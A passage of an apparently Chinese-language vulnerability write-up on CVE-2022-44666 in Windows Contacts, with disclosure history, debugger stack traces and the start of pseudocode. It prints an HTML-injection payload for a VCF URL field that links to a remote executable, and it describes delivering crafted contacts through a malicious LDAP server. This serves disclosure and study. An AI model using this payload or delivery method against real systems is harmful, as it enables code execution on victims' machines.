这是一个关于另一个被遗忘的0day的故事,它在4年多前由 [John Page (又名 hyp3rlinx)][R.1] 完全公开。要理解这份报告,你必须考虑我很笨 :-) 而我的笨拙驱使我走更长的路来解决简单的问题,但也让我找到了利用某些漏洞的其他方法。我为什么这么说?因为我无法迅速理解创建 .contact 文件的方法只是浏览到联系人文件夹来创建联系人,相反,我利用这些信息首先创建了一个 VCF 文件,然后错误地认为这是某种变体。这也是因为我的大脑无法理解某些0day被遗忘那么长时间 ¯\(ツ)/¯ 完成这些之后,在 [MSRC][R.2] 和 [ZDI][R.3] 回复了“不会修复”后,进行了进一步调查以提高严重性,最终涉及到了 .contact 文件和 Windows 的 URL 协议处理程序 "ldap"。
当我阅读 [此漏洞][R.4] 的利用代码时,它实际上作为0day发布,并且可以找到 [ZDI 的报告][R.5]。
更新 2022/07/21: 在向 MS 报告此案例后,MSRC 的人正确地向我指出 Windows Contacts 不是打开 VCF 文件的默认程序。

进一步的研究仍然表明,在 Win7 ESU & WinServer2019 上,VCF 文件的默认程序是 Windows Contacts (wab.exe),否则使用 MS People (PeopleApp.exe)。以下是此测试的完整表格:
无论如何,他们仍然认为这里涉及一些社会工程,比如打开构造的 VCF 文件并点击某些链接来利用该漏洞,因此不符合 MSRC 的安全更新漏洞标准。

更新 2022/07/25: 好吧,经过进一步研究,这是同一个漏洞。我终于找到了一个 .contact 的概念验证。实际上,可以使用 HTML 实体正确解析 .contact 文件。注意这解决了之前的问题(更新 2022/07/21),并且这种文件格式 (.contact) 由 Windows Contacts 打开,这是该文件扩展名的默认程序,即使系统中安装了 MS Office。只需第一次文件关联(如果尚未完成),但默认安装的唯一程序是 Windows Contacts。
更新 2022/07/25: 这项进一步的研究让我达到了一个我一段时间前试图达到的目标:使用某个 URL 协议处理程序来自动打开构造的联系人数据以利用该漏洞。我终于让它工作,感谢 ldap URI 方案,它默认与 Windows Contacts 应用程序关联,所以只需设置一个恶意的 LDAP 服务器,并在 mail、url 或 wwwhomepage 属性下提供 payload 数据,利用的影响就增加了,因为现在不需要双击恶意的 VCF/Contact 文件,我们可以使用 URL 协议来传递。
更新 2023/02/08: 作为 MSRC 善意的表示,[John Page (又名 hyp3rlinx)][R.1] 已被列入 [CVE-2022-44666][R.10] 发现的致谢页面。

这份报告基本上与上面链接相同,不过我稍微改进了涉及的社会工程部分。实际上,我做的第一件事是改进链接的显示方式,就像它是一个 XSS 漏洞一样,这实际上是一个 HTML 注入,因此可以关闭第一个锚元素并插入一个新的。然后,我想移除这些 HTML 元素的可见性,因此只需设置尽可能长的 "innerHTML" 就足以隐藏它们(因为存在字符限制)。
这是最终使用的 payload:```html URL;WORK:">CLICKMEEEEE...
要观察发生了什么,运行 procmon 并设置一个如下的伪造 href 属性目标:```html
URL;WORK:"></a><a href="https://github.com/j00sean/cve-2022-44666/blob/main/foo.exe">CLICKMEEEEE...</a>
一旦点击链接,在procmon中可以观察到如下输出:

这是第一个"CreateFile"操作的堆栈跟踪:``` 0 FLTMGR.SYS FltpPerformPreCallbacksWorker + 0x36c 0xfffff806675a666c C:\WINDOWS\System32\drivers\FLTMGR.SYS 1 FLTMGR.SYS FltpPassThroughInternal + 0xca 0xfffff806675a611a C:\WINDOWS\System32\drivers\FLTMGR.SYS 2 FLTMGR.SYS FltpCreate + 0x310 0xfffff806675dc0c0 C:\WINDOWS\System32\drivers\FLTMGR.SYS 3 ntoskrnl.exe IofCallDriver + 0x55 0xfffff8066904e565 C:\WINDOWS\system32\ntoskrnl.exe 4 ntoskrnl.exe IoCallDriverWithTracing + 0x34 0xfffff8066909c224 C:\WINDOWS\system32\ntoskrnl.exe 5 ntoskrnl.exe IopParseDevice + 0x117d 0xfffff806694256bd C:\WINDOWS\system32\ntoskrnl.exe 6 ntoskrnl.exe ObpLookupObjectName + 0x3fe 0xfffff8066941329e C:\WINDOWS\system32\ntoskrnl.exe 7 ntoskrnl.exe ObOpenObjectByNameEx + 0x1fa 0xfffff806694355fa C:\WINDOWS\system32\ntoskrnl.exe 8 ntoskrnl.exe NtQueryAttributesFile + 0x1c5 0xfffff80669501125 C:\WINDOWS\system32\ntoskrnl.exe 9 ntoskrnl.exe KiSystemServiceCopyEnd + 0x25 0xfffff806692097b5 C:\WINDOWS\system32\ntoskrnl.exe 10 ntdll.dll NtQueryAttributesFile + 0x14 0x7ff8f0aed4e4 C:\Windows\System32\ntdll.dll 11 KernelBase.dll GetFileAttributesW + 0x85 0x7ff8ee19c045 C:\Windows\System32\KernelBase.dll 12 shlwapi.dll PathFileExistsAndAttributesW + 0x5a 0x7ff8ef20212a C:\Windows\System32\shlwapi.dll 13 shlwapi.dll PathFileExistsDefExtAndAttributesW + 0xa1 0x7ff8ef2022b1 C:\Windows\System32\shlwapi.dll 14 shlwapi.dll PathFileExistsDefExtW + 0x3f 0x7ff8ef2021ef C:\Windows\System32\shlwapi.dll 15 shlwapi.dll PathFindOnPathExW + 0x2f7 0x7ff8ef201f77 C:\Windows\System32\shlwapi.dll 16 shell32.dll PathResolve + 0x154 0x7ff8eebb0954 C:\Windows\System32\shell32.dll 17 shell32.dll CShellExecute::QualifyFileIfNeeded + 0x105 0x7ff8eebb05c9 C:\Windows\System32\shell32.dll 18 shell32.dll CShellExecute::ValidateAndResolveFileIfNeeded + 0x5e 0x7ff8eeb1e422 C:\Windows\System32\shell32.dll 19 shell32.dll CShellExecute::_DoExecute + 0x6d 0x7ff8eeb1e1cd C:\Windows\System32\shell32.dll 20 shell32.dll <lambda_519a2c088cd7d0cdfafe5aad47e70646>::<lambda_invoker_cdecl> + 0x2d 0x7ff8eeb09fed C:\Windows\System32\shell32.dll 21 SHCore.dll _WrapperThreadProc + 0xe9 0x7ff8f098bf69 C:\Windows\System32\SHCore.dll 22 kernel32.dll BaseThreadInitThunk + 0x14 0x7ff8f07e7034 C:\Windows\System32\kernel32.dll 23 ntdll.dll RtlUserThreadStart + 0x21 0x7ff8f0aa2651 C:\Windows\System32\ntdll.dll
在 **Shell32!ShellExecuteExW** 中设置断点,我们可以更清楚地了解所涉及的功能:```
CommandLine: "C:\Program Files\Windows Mail\wab.exe" /vcard C:\Users\admin\Documents\vcf-0day\exploit.vcf
...
ModLoad: 00007ff7`c7d50000 00007ff7`c7dd5000 wab.exe
...
0:000> bp SHELL32!ShellExecuteExW
...
Breakpoint 0 hit
SHELL32!ShellExecuteExW:
00007ff8`eeb20e40 48895c2410 mov qword ptr [rsp+10h],rbx ss:000000d8`dc2dae88=0000000000090622
0:000> k
# Child-SP RetAddr Call Site
00 000000d8`dc2dae78 00007ff8`d3afee27 SHELL32!ShellExecuteExW
01 000000d8`dc2dae80 00007ff8`d3ad7802 wab32!SafeExecute+0x143
02 000000d8`dc2dbf90 00007ff8`ef3b2920 wab32!fnSummaryProc+0x1c2
03 000000d8`dc2dbfc0 00007ff8`ef3b20c2 USER32!UserCallDlgProcCheckWow+0x144
04 000000d8`dc2dc0a0 00007ff8`ef3b1fd6 USER32!DefDlgProcWorker+0xd2
05 000000d8`dc2dc160 00007ff8`ef3ae858 USER32!DefDlgProcW+0x36
06 000000d8`dc2dc1a0 00007ff8`ef3ade1b USER32!UserCallWinProcCheckWow+0x2f8
07 000000d8`dc2dc330 00007ff8`ef3ad68a USER32!SendMessageWorker+0x70b
08 000000d8`dc2dc3d0 00007ff8`d93a6579 USER32!SendMessageW+0xda
09 000000d8`dc2dc420 00007ff8`d93a62e7 comctl32!CLink::SendNotify+0x12d
0a 000000d8`dc2dd560 00007ff8`d9384bb8 comctl32!CLink::Notify+0x77
0b 000000d8`dc2dd590 00007ff8`d935add2 comctl32!CMarkup::OnButtonUp+0x78
0c 000000d8`dc2dd5e0 00007ff8`ef3ae858 comctl32!CLink::WndProc+0x86ff2
0d 000000d8`dc2dd6f0 00007ff8`ef3ae299 USER32!UserCallWinProcCheckWow+0x2f8
0e 000000d8`dc2dd880 00007ff8`ef3ac050 USER32!DispatchMessageWorker+0x249
0f 000000d8`dc2dd900 00007ff8`d92b6317 USER32!IsDialogMessageW+0x280
10 000000d8`dc2dd990 00007ff8`d92b61b3 comctl32!Prop_IsDialogMessage+0x4b
11 000000d8`dc2dd9d0 00007ff8`d92b5e2d comctl32!_RealPropertySheet+0x2bb
12 000000d8`dc2ddaa0 00007ff8`d3acfb68 comctl32!_PropertySheet+0x49
13 000000d8`dc2ddad0 00007ff8`d3ace871 wab32!CreateDetailsPropertySheet+0x930
14 000000d8`dc2de140 00007ff8`d3ad68f5 wab32!HrShowOneOffDetails+0x4f5
15 000000d8`dc2de390 00007ff8`d3af800f wab32!HrShowOneOffDetailsOnVCard+0xed
16 000000d8`dc2de400 00007ff7`c7d51b16 wab32!WABObjectInternal::VCardDisplay+0xbf
17 000000d8`dc2de450 00007ff7`c7d52c28 wab!WinMain+0x896
18 000000d8`dc2dfab0 00007ff8`f07e7034 wab!__mainCRTStartup+0x1a0
19 000000d8`dc2dfb70 00007ff8`f0aa2651 KERNEL32!BaseThreadInitThunk+0x14
1a 000000d8`dc2dfba0 00000000`00000000 ntdll!RtlUserThreadStart+0x21
涉及的伪代码如下:```cpp _int64 __fastcall fnSummaryProc(HWND hWnd, int a2, WPARAM a3, LONG_PTR a4) {
...